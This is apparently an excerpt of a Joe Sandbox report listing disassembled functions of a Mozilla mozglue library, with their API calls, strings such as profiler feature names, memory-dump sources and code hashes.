Instruction Fuzzy Hash: C2E0B674605B099BDF007FB2CD58B157FF8A706A05F02431FBA04A2600EBB1D6018B5D

Function 6C559F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C55A824
' , xrefs: 6C55A3D8
0, xrefs: 6C55AB22
0, xrefs: 6C55A100
9, xrefs: 6C55A5D6
@, xrefs: 6C55A625

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 291a761e9fbc7e6819ed20dc5520cd1682342cefc9629a27afce87f1296ae971
Instruction ID: 56239a140ae86166e66fb65e07b1bf1fb051a86a6bf4a5785c691684d7395c53
Opcode Fuzzy Hash: 291a761e9fbc7e6819ed20dc5520cd1682342cefc9629a27afce87f1296ae971
Instruction Fuzzy Hash: DF82E2719083618FD711CF09CC9027EB7F1EB85718FD5892BE8D547A90D334A8A6CBA2

Function 6C54BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C54C1CB
__aulldiv.LIBCMT ref: 6C54C24C
__aulldiv.LIBCMT ref: 6C54C348
__aullrem.LIBCMT ref: 6C54C365
__aulldiv.LIBCMT ref: 6C54C37D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 4ef421e8cd7f7e4d913dae63daf4477e0214a80a9b5269d28dd4413e1b3344ea
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 9E321632B146119FC718DE2CC89065ABBE6AFC9310F09867DE899CB395D734ED05CB91

Function 6C5977A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C597A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C597A93

Part of subcall function 6C565C50: GetTickCount64.KERNEL32 ref: 6C565D40
Part of subcall function 6C565C50: EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C565D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C597AA1

Part of subcall function 6C565C50: __aulldiv.LIBCMT ref: 6C565DB4
Part of subcall function 6C565C50: LeaveCriticalSection.KERNEL32(6C5CF688), ref: 6C565DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C597B31

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: f7443748c8e34fee840dccedaf11a124f2283080c6664181e59458b68fead1fc
Instruction ID: 6541ddc9f66921383fd966e8e44998f3a9d60bbf439bf72f75471c388ec1771f
Opcode Fuzzy Hash: f7443748c8e34fee840dccedaf11a124f2283080c6664181e59458b68fead1fc
Instruction Fuzzy Hash: 81B17C35608380CBDB14CF24C85069FB7E2AFC9358F154A9DE99567B91DB70ED0ACB82

Function 6C568850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5697EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C569813, 6C56985D, 6C569878, 6C569CEB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 9d70a716c1957bfc225048086d9895258b64018e6971557459ba3f1afdd420ac
Instruction ID: 1a9e07c419de5fcb5fa044ec580a143d822f71ad309fbf81e4e4dffd4c78e691
Opcode Fuzzy Hash: 9d70a716c1957bfc225048086d9895258b64018e6971557459ba3f1afdd420ac
Instruction Fuzzy Hash: 93D28E71A057018FD718CF1AC990715BBE1BF86328F29C76DD86A8BBA5D731E841CB81

Function 6C586CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C586D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C586E1E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: f2733695d6da6e8e76b7f93f05397526ee6191b630bf22e8b18af1d1c42f9df5
Instruction ID: f684532bed02dcf5bc74f42261b7d4a5e382ca69709a6e64c58dbaef6a372897
Opcode Fuzzy Hash: f2733695d6da6e8e76b7f93f05397526ee6191b630bf22e8b18af1d1c42f9df5
Instruction Fuzzy Hash: 5BA14970619390CFCB15CF24C8907AABBE2BFC8308F45495DE88A87751DB70E948CB92

Function 6C5AB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C57FE3F), ref: 6C5AB720
RtlNtStatusToDosError.NTDLL ref: 6C5AB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C57FE3F), ref: 6C5AB760

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: aacd16f35a154194b9bbfa37a19cddc5d170f699871e41ecf1a6c53eba9fe3c6
Instruction ID: 8f235c781332165634c5c210cb563f8dd424301e13bf01a639163b692b9fe878
Opcode Fuzzy Hash: aacd16f35a154194b9bbfa37a19cddc5d170f699871e41ecf1a6c53eba9fe3c6
Instruction Fuzzy Hash: A0F0C870A0020CEEDF01AAE2CC85BDF77BC9B44319F105129E615755C1D7B4A9CCC6A5

Function 6C564640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C564777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C565585, 6C5655A8, 6C5655C3, 6C565624

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 615a6e1299e34380a4c62334d0413c560ff5292f799d8fe8b141c13ea92c733c
Instruction ID: e321b54b15f05e93c847a9f0e46496a5aa92916735ee593134a3d11fb1b5cb50
Opcode Fuzzy Hash: 615a6e1299e34380a4c62334d0413c560ff5292f799d8fe8b141c13ea92c733c
Instruction Fuzzy Hash: BFB27E71A456018FD708CF1AC990715FBE2BFC5324B29C76DE46A8BBA6D771E841CB80

Function 6C5A85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5A8C7C
__aulldiv.LIBCMT ref: 6C5A8DD7

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: e6c4b088dc875aeeff24c1a8ff578f70180a991a2a8d922ae7fee93d64bdca0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: AF327271F011598BDF18CE9DC8A17AEF7B2FB88300F19853AD506BB790DA349D458B92

Function 6C5B76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qTl, xrefs: 6C5B79C0, 6C5B79FB, 6C5B793C, 6C5B7B0B, 6C5B7E0B, 6C5B7796

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID: ~qTl
API String ID: 0-1699004407
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e3e3e3a005661f3df1f59de71982d4b68272dd1e094b69587479848cc0dfaabd
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 3F32F871E0061A8FCB14CF98C990AADFBB2FF88304F648569C549B7745D731A986CF90

Function 6C5B6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qTl, xrefs: 6C5B79C0, 6C5B7C03, 6C5B79FB, 6C5B793C, 6C5B7C72, 6C5B7B0B, 6C5B7E0B

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID: ~qTl
API String ID: 0-1699004407
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 9fa452cd4a35606bb47935c9a6ba792f808fbb2f66b4e25ffc8fe935987f86b6
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: A322D771E006198FCB14CF98C990AADFBB2FF88304F6585AAC549B7745D731A986CF90

Function 6C585C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C554A63,?,?), ref: 6C585F06

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 6b7a57c424e758643c8dc932fa6375afe9b59d3ecf507cd0ccbc5a4bf48cf6e1
Instruction ID: b074cac2397ad97d8db40ff75200e14e1483e10aa74afc08871472433b580e8e
Opcode Fuzzy Hash: 6b7a57c424e758643c8dc932fa6375afe9b59d3ecf507cd0ccbc5a4bf48cf6e1
Instruction Fuzzy Hash: 70C1D275D022298BDB04CF95C9906EEBBF2FF89318FA8415DD8566BB40D732A905CF90

Function 6C54DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9acc5a91f27b4597a554ad27195ded79344d0d9221ada1ebf14a2ecc5fa22b
Instruction ID: 5120fad16ec6e85ba9ca2b10de99028afe1d0f3b3061d950e1947aeb4f7fee1a
Opcode Fuzzy Hash: 4f9acc5a91f27b4597a554ad27195ded79344d0d9221ada1ebf14a2ecc5fa22b
Instruction Fuzzy Hash: 4C42E432A087508BD308CE3CC89175AF7E2BFC9364F098B2DE999A7795D774D9418B81

Function 6C570512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 9fb5427a79ea3f869bd487ffae1fff82bd1e1204cb1f38455960feee48e33cb5
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 65220671E046198FDB24CF98C890AADF7F2FF88304F548699D44AAB745D731A986CF90

Function 6C5BAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b742c9cf903ac8e7da328e7650322d4a84c688bf3741e9cc01420bcfe017d5
Instruction ID: 29a09aa54607139ca8bffa85231298c3cc75d0b105650e9c0d423ddb72b49e8a
Opcode Fuzzy Hash: 42b742c9cf903ac8e7da328e7650322d4a84c688bf3741e9cc01420bcfe017d5
Instruction Fuzzy Hash: 97F149716087459FD700CE28CCA17AABFE2AFC5318F158A2DE4D4A7781E774D889C792

Function 6C54C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: f2c6a067451f214249d789c7e1104fad64390ec2946323fe5594b7c3f6a3aeda
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: F2A19371F0061A8FDB08CE69C8913AEB7F2AFC9354F198169D915E7785DB346C0A8BD0

Function 6C587710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 9886055f1717d853cb8188471e614385bd52cf0d07341aaea90c586956807aea
Instruction ID: f4d77283bf6717d189213685cc77a02aeb3210e3afbec37ad623457d61e568f7
Opcode Fuzzy Hash: 9886055f1717d853cb8188471e614385bd52cf0d07341aaea90c586956807aea
Instruction Fuzzy Hash: 73714A75E012298FCF18CF99C8905EDBBB2BF89354F24816EE415AB740D731A945CF90

Function 6C58CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C55582D), ref: 6C58CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C55582D), ref: 6C58CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5BFE98,?,?,?,?,?,6C55582D), ref: 6C58CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C55582D), ref: 6C58CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C55582D), ref: 6C58CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C55582D), ref: 6C58CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C55582D), ref: 6C58CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C58CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C58CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C58CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C58CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C58CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C58CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C58CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C58CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C58CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C58CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C58CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C58CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C58CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C58CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C58CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C58CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C58CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C58CE8A

Strings

stackwalk, xrefs: 6C58CCF8
notimerresolutionchange, xrefs: 6C58CE00
leaf, xrefs: 6C58CC66
default, xrefs: 6C58CC21
processcpu, xrefs: 6C58CE6E
audiocallbacktracing, xrefs: 6C58CDD4
fileioall, xrefs: 6C58CCA8
fileio, xrefs: 6C58CC92
samplingallthreads, xrefs: 6C58CE2C
screenshots, xrefs: 6C58CCD4
nostacksampling, xrefs: 6C58CD7C
Unrecognized feature "%s"., xrefs: 6C58CEA0
seqstyle, xrefs: 6C58CCE6
preferencereads, xrefs: 6C58CD92
noiostacks, xrefs: 6C58CCBE
java, xrefs: 6C58CC37
mainthreadio, xrefs: 6C58CC7C
ipcmessages, xrefs: 6C58CDBE
cpuallthreads, xrefs: 6C58CE16
jsallocations, xrefs: 6C58CD0E
nativeallocations, xrefs: 6C58CDA8
unregisteredthreads, xrefs: 6C58CE58
power, xrefs: 6C58CE84
markersallthreads, xrefs: 6C58CE42

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 232471233fa21a25388d08322e15bb1887ad11492d06847eb262e89bcf7aa9ef
Instruction ID: f4ebaebc35788b7f17a9a6130ecbb04ae8a6d9333dfb2f1eadcde170d0173672
Opcode Fuzzy Hash: 232471233fa21a25388d08322e15bb1887ad11492d06847eb262e89bcf7aa9ef
Instruction Fuzzy Hash: EC51ABF5A4727552FA0171196D30BAA1C05EFD324AF50863AED0BB1F80FB15F60986BB

Function 6C5547C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C554801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C554817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C55482D
__Init_thread_footer.LIBCMT ref: 6C55484A

Part of subcall function 6C57AB3F: EnterCriticalSection.KERNEL32(6C5CE370,?,?,6C543527,6C5CF6CC,?,?,?,?,?,?,?,?,6C543284), ref: 6C57AB49
Part of subcall function 6C57AB3F: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C543527,6C5CF6CC,?,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57AB7C

GetCurrentThreadId.KERNEL32 ref: 6C55485F
GetCurrentThreadId.KERNEL32 ref: 6C55487E
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C55488B
free.MOZGLUE(?), ref: 6C55493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C554956
free.MOZGLUE(00000000), ref: 6C554960
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C55499A

